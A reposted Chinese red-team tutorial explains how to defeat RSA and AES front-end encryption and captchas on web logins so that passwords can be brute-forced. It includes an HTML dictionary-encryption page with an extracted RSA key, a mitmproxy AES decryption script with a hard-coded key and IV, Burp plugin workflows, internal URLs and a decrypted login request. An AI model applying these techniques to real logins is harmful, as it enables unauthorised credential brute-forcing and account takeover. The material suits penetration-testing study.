红队实战案例:js加解密及验证码对抗

admin 2026-01-28 06:57:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍红队实战中JS加解密及验证码对抗技术。通过提取前端RSA加密逻辑生成字典进行爆破,利用Burp插件与脚本实现验证码自动识别。针对AES加密流量,提供了mitmproxy脚本或Burp插件解密方案,演示了结合BurpCrypto进行自动化暴力破解的完整流程。 综合评分: 84 文章分类: 红队,WEB安全,渗透测试,安全工具,逆向分析


cover_image

红队实战案例:js加解密及验证码对抗

原创

HM.L HM.L

0xSecurity

2026年1月27日 15:50 广东

获取加密方式构造加密字典

1、表单密码存在rsa加密

2、动态验证码

访问网站,通过查看源码找到加密方式

获取到RSA加密套件

保存js到本地

通过获取到的加密方式,编写一个html,用于生成加密字典。

<!DOCTYPE html>
<html>
<head>
&nbsp; &nbsp; <title>RSA Encryption Demo</title>
&nbsp; &nbsp; <script src="security.js"></script>
&nbsp; &nbsp; <script>
&nbsp; &nbsp; &nbsp; &nbsp; function encryptPwd() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var pwd = document.getElementById("pwd").value;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var encryptedPwds = [];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; RSAUtils.setMaxDigits(200);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var key = RSAUtils.getKeyPair("10001", "", "9b38b849665b0cd4c42ef48feee0810fdc73350db9c25ae71a6de33b760c38f8eb41e4958f176cf84c1026b81914c0762bd1fbc69d7cc10e94321f94938d4b0c9fb8be3582bd5105c128ebc5c7dc3fe531fa22991d9a6924015b533e4dec283c9564dd5277d04072c5bc1dc409ca42484c9935dac16b1f9f9cd1636edd1875");

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pwd.split('\n').forEach(function(line) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; encryptedPwds.push(RSAUtils.encryptedString(key, line));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; });

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; document.getElementById("encryptedPwds").innerText = encryptedPwds.join("\n");
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; </script>
</head>
<body>
&nbsp; &nbsp; <h2>RSA Encryption Demo</h2>
&nbsp; &nbsp; <textarea id="pwd" rows="10" cols="50" placeholder="Enter passwords here..."></textarea><br>
&nbsp; &nbsp; <button onclick="encryptPwd()">Encrypt Passwords</button>
&nbsp; &nbsp; <h3>Encrypted Passwords:</h3>
&nbsp; &nbsp; <pre id="encryptedPwds"></pre>
</body>
</html>

把定制的密码本放到表单进行加密,成功获取加密后的密文,用于burp爆破时使用

自动识别验证码

burp安装插件

https://github.com/f0ng/captcha-killer-modified

点击验证码,获取请求包

发送到识别模块插件

运行项目中的py脚本

burp插件中选择识别模板,并勾选启用插件

抓取登录包,选择模式为pitchfork

payload密码部分如下

payload验证码部分如下

资源池根据网站情况设置如下

开始爆破

存在加密返回包的解密方式

解密返回包

首先获取key

http://10.43.240.186/euler/agg/6.2.1.3/js/euler-conf.js

根据js发现是AES加密

http://10.43.240.186/euler/euler/6.2.1.3/core/js/rop/RopJsonResponse.js

继续查看发现加密方式为加密方式为AES、向量模式为CBC、填充模式为ZeroPadding、密文编码为base64、 var key和iv的值为appSecert的值

http://10.43.240.186/euler/euler/6.2.1.3/core/js/utils/AesUtils.js

利用mitmproxy编写脚本

frommitmproxyimporthttp
fromCrypto.CipherimportAES
fromurllib.parseimportunquote,&nbsp;quote
importbase64

# 密钥和初始化向量
key=b'SEPU!PWO@LVE&045'
iv=b'SEPU!PWO@LVE&045'

# ZeroPadding填充方式
defpad(data):
&nbsp; &nbsp;&nbsp;returndata+&nbsp;(16-len(data)&nbsp;%16)&nbsp;*b'\x00'

defunpad(data):
&nbsp; &nbsp;&nbsp;returndata.rstrip(b'\x00')

# 解密函数
defaes_decrypt(ciphertext,&nbsp;key,&nbsp;iv):
&nbsp; &nbsp;&nbsp;cipher=AES.new(key,&nbsp;AES.MODE_CBC,&nbsp;iv)
&nbsp; &nbsp;&nbsp;plaintext=cipher.decrypt(base64.b64decode(ciphertext))
&nbsp; &nbsp;&nbsp;returnunpad(plaintext)

# 处理HTTP请求
defrequest(flow:&nbsp;http.HTTPFlow)&nbsp;->None:
&nbsp; &nbsp;&nbsp;if'_crypt'inflow.request.query.keys():
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;encrypted_request=flow.request.query['_crypt']
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;encrypted_request=unquote(encrypted_request)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;decrypted_request=aes_decrypt(encrypted_request,&nbsp;key,&nbsp;iv)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print('Decrypted _crypt:',&nbsp;decrypted_request)

# 处理HTTP响应
defresponse(flow:&nbsp;http.HTTPFlow)&nbsp;->None:
&nbsp; &nbsp;&nbsp;ifb'__ROP_ENCRYPT@@'inflow.response.content:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;encrypted_response=flow.response.content.split(b'__ROP_ENCRYPT@@')[1]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;decrypted_response=aes_decrypt(encrypted_response,&nbsp;key,&nbsp;iv)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;flow.response.content=decrypted_response
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print('Decrypted __ROP_ENCRYPT@@:',&nbsp;decrypted_response)

编写脚本后使用安装好的mitmproxy运行这个脚本如

mitmproxy -s aes.py -p 8888

运行后,burp设置上游代理

此时burp的返回包已经被解密,

解密前的流量包如:

解密后的流量包如:

构造爆破

当我们从前面内容知道加密方式后,也可直接使用下面的项目进行加解密

https://github.com/f0ng/autoDecoder

从js中我们获取到了key、iv、向量模式、填充模式等信息

输入到burp中的autoDecoder模块中

成功解密。

如登录请求包如下

对加密的_crypt进行解密

bq/CIJ9MkYBp3y6+ZB4RvwnWrAXbTfm5KP8DFsqPS2dFhGVIEGPjisqFj7idR3gypf8emz2A61ATHi56g0uucGihTAAMMKcuoHFS/jbqGNQvc2ABmr+/fLGr6LGr2k2SX0CyTJ33kzGJ8BUbzaorrZAhV5ohJYMBRte+Fr7LrLxPk7sCRKWvItCoiFkmI3qUfp7F6kqlQETTBsBSMs10c3sVky4PnF/C

获得原始请求参数值

{"_format":"json","_locale":"zh","_timestamp":"20230414144230","taskId":"1646761085627404288","personType":"DEFAULT","principal":"admin","password":"5fdc99c092892741946a439b9a859b2d58ac653bc1504299682f7514952dec28a9a69353e32c6b22ba7a95166b1545e0e464c8a6c78cb35192e1d4b31cbba96e","_sign":"5F0547C62B65F17092C74D11A1D198308A67C0AF"}

之后便可以根据案例一的方法,进行爆破,也可以使用下面的插件

https://github.com/whwlsfb/BurpCrypto

添加一个加密方式

然后选择构造好的加密方式进行加密,然后爆破


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity HM.L HM.L《红队实战案例:js加解密及验证码对抗》

第132期|GPTSecurity周报 网络安全文章

第132期|GPTSecurity周报

文章总结: 本期周报汇总七项LLM安全研究。涵盖NOIR隐私保护代码生成框架、生成式应用防火墙GAF、本地模型循环漏洞检测、DDoS溯源智能体Holmes、自动
穿女装有助于程序员码力 网络安全文章

穿女装有助于程序员码力

文章总结: 本文是一篇无实质技术内容的娱乐推文,通过调侃穿女装能提升程序员代码能力的荒诞话题吸引眼球。文中并未提供任何编程技巧或安全知识,仅包含图片占位符、免责
评论:0   参与:  0